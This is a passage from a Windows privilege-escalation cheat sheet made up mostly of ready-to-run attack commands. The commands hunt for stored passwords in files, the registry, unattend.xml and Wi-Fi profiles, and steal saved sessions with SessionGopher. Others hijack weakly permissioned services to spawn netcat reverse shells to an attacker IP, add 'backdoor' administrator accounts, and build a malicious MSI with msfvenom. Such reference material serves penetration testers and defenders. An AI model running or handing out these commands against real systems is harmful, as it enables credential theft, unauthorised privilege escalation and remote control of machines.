|
||
```
|
||
|
||
### Search for a file with a certain filename
|
||
|
||
```powershell
|
||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||
where /R C:\ user.txt
|
||
where /R C:\ *.ini
|
||
```
|
||
|
||
### Search the registry for key names and passwords
|
||
|
||
```powershell
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||
|

|
||
```
|
||
|
||
### Read a value of a certain sub key
|
||
|
||
```powershell
|
||
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
|
||
```
|
||
|
||
### Passwords in unattend.xml
|
||
|
||
Location of the unattend.xml files.
|
||
|
||
```powershell
|
||
C:\unattend.xml
|
||
C:\Windows\Panther\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattend.xml
|
||
C:\Windows\system32\sysprep.inf
|
||
C:\Windows\system32\sysprep\sysprep.xml
|
||
```
|
||
|
||
Example content
|
||
|
||
```powershell
|
||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||
<AutoLogon>
|
||
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
|
||
<Enabled>true</Enabled>
|
||
<Username>Administrateur</Username>
|
||
</AutoLogon>
|
||
|
||
<UserAccounts>
|
||
<LocalAccounts>
|
||
<LocalAccount wcm:action="add">
|
||
<Password>*SENSITIVE*DATA*DELETED*</Password>
|
||
<Group>administrators;users</Group>
|
||
<Name>Administrateur</Name>
|
||
</LocalAccount>
|
||
</LocalAccounts>
|
||
</UserAccounts>
|
||
```
|
||
|
||
Unattend credentials are stored in base64 and can be decoded manually with base64.
|
||
|
||
```powershell
|
||
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
|
||
SecretSecurePassword1234*
|
||
```
|
||
|
||
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
|
||
|
||
### IIS Web config
|
||
|
||
```powershell
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
```powershell
|
||

|
||
|
||
```batch
|
||
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
|
||
```
|
||
|
||
### Passwords stored in services
|
||
|
||
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)
|
||
|
||
|
||
```powershell
|
||
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
|
||
Import-Module path\to\SessionGopher.ps1;
|
||
Invoke-SessionGopher -AllDomain -o
|
||
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||
```
|
||
|
||
|
||
## EoP - Processes Enumeration and Tasks
|
||
|
||
What processes are running?
|
||
|
||
```powershell
|
||
tasklist /v
|
||
net start
|
||
sc query
|
||
Get-Service
|
||
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
|
||
```
|
||
|
||
Which processes are running as "system"
|
||
|
||
```powershell
|
||
tasklist /v /fi "username eq system"
|
||
```
|
||
|
||
Do you have powershell magic?
|
||
|
||
```powershell
|
||
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
|
||
```
|
||
|
||
List installed programs
|
||
|
||
```powershell
|
||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||
```
|
||
|
||
List services
|
||
|
||
```powershell
|
||
net start
|
||
wmic service list brief
|
||
tasklist /SVC
|
||
```
|
||
|
||
Scheduled tasks
|
||
|
||
```powershell
|
||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
||
```
|
||
|
||
Startup tasks
|
||
|
||
```powershell
|
||
wmic startup get caption,command
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
|
||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
|
||
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
|
||
```
|
||
|
||
## EoP - Incorrect permissions in services
|
||
|
||
> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
|
||
|
||
Often, services are pointing to writeable locations:
|
||
- Orphaned installs, not installed anymore but still exist in startup
|
||
- DLL Hijacking
|
||
- PATH directories with weak permissions
|
||
|
||
```powershell
|
||
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
|
||
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
|
||
|
||
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
|
||
FOR /F %i in (Servicenames.txt) DO echo %i
|
||
type Servicenames.txt
|
||
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
|
||
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
|
||
```
|
||
|
||
Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`
|
||
|
||
Note to check file permissions you can use `cacls` and `icacls`
|
||
> icacls (Windows Vista +)
|
||
> cacls (Windows XP)
|
||
|
||
You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.
|
||
|
||
### Example with Windows XP SP1
|
||
|
||
```powershell
|
||
# NOTE: spaces are mandatory for this exploit to work !
|
||
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
|
||
sc config upnphost obj= ".\LocalSystem" password= ""
|
||
sc qc upnphost
|
||
sc config upnphost depend= ""
|
||
net start upnphost
|
||
```
|
||
|
||
If it fails because of a missing dependency, try the following commands.
|
||
|
||
```powershell
|
||
sc config SSDPSRV start=auto
|
||
net start SSDPSRV
|
||
net stop upnphost
|
||
net start upnphost
|
||
|
||
sc config upnphost depend=""
|
||
```
|
||
|
||
Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals.
|
||
```powershell
|
||
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||
RW SSDPSRV
|
||
SERVICE_ALL_ACCESS
|
||
RW upnphost
|
||
SERVICE_ALL_ACCESS
|
||
|
||
$ accesschk.exe -ucqv upnphost
|
||

|
||
RW NT AUTHORITY\SYSTEM
|
||
SERVICE_ALL_ACCESS
|
||

|
||
|
||
$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
|
||
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||
$ sc stop <vuln-service>
|
||
$ sc start <vuln-service>
|
||
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
|
||
$ sc stop <vuln-service>
|
||
$ sc start <vuln-service>
|

## EoP - Windows Subsystem for Linux (WSL)
|
||
|
||
Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)
|
||
|
||
> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.
|
||
|
||
```powershell
|
||
wsl whoami
|
||
./ubuntun1604.exe config --default-user root
|
||
wsl whoami
|
||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||
```
|
||
|
||
Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
|
||

## EoP - Unquoted Service Paths
|
||
|
||
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
|
||
|
||
```powershell
|
||
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
|
||
|
||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||
```
|
||
|
||
Metasploit provides the exploit : `exploit/windows/local/trusted_service_path`
|
||
|
||
### Example
|
||
|
||
For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:
|
||
- `C:\Program.exe`
|
||
- `C:\Program Files.exe`

||
To cross compile a program from Kali, use the following command.
|
||
|
||
```powershell
|
||
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
|
||
```
|
||
|
||
## EoP - AlwaysInstallElevated
|
||
|
||
Check if these registry values are set to "1".
|
||
|
||
```bat
|
||
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||
|
||
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||
```
|
||
|
||
Then create an MSI package and install it.
|
||
|
||
```powershell
|
||
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
|
||
$ msiexec /quiet /qn /i C:\evil.msi
|
||
```
|
||
|
||
Technique also available in Metasploit : `exploit/windows/local/always_install_elevated`
|
||
|
||
## EoP - Insecure GUI apps
|
||
|
||
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
|
||
|
||
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
|
||
|
||
## EoP - Runas
|
||
|
||
Use the `cmdkey` to list the stored credentials on the machine.
|
||
|
||
```powershell
|
||
cmdkey /list
|
||
Currently stored credentials:
|
||
Target: Domain:interactive=WORKGROUP\Administrator
|
||
Type: Domain Password
|
||
User: WORKGROUP\Administrator
|
||
```
|
||
|
||
Then you can use `runas` with the `/savecred` options in order to use the saved credentials.
|
||
The following example is calling a remote binary via an SMB share.
|
||
```powershell
|
||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||
```
|
||
|
||
Using `runas` with a provided set of credential.
|
||
|
||
```powershell
|
||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||
```
|
||
|
||
```powershell
|
||
$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
|
||
$ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
|
||
$ computer = "<hostname>"
|
||
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
|
||
```
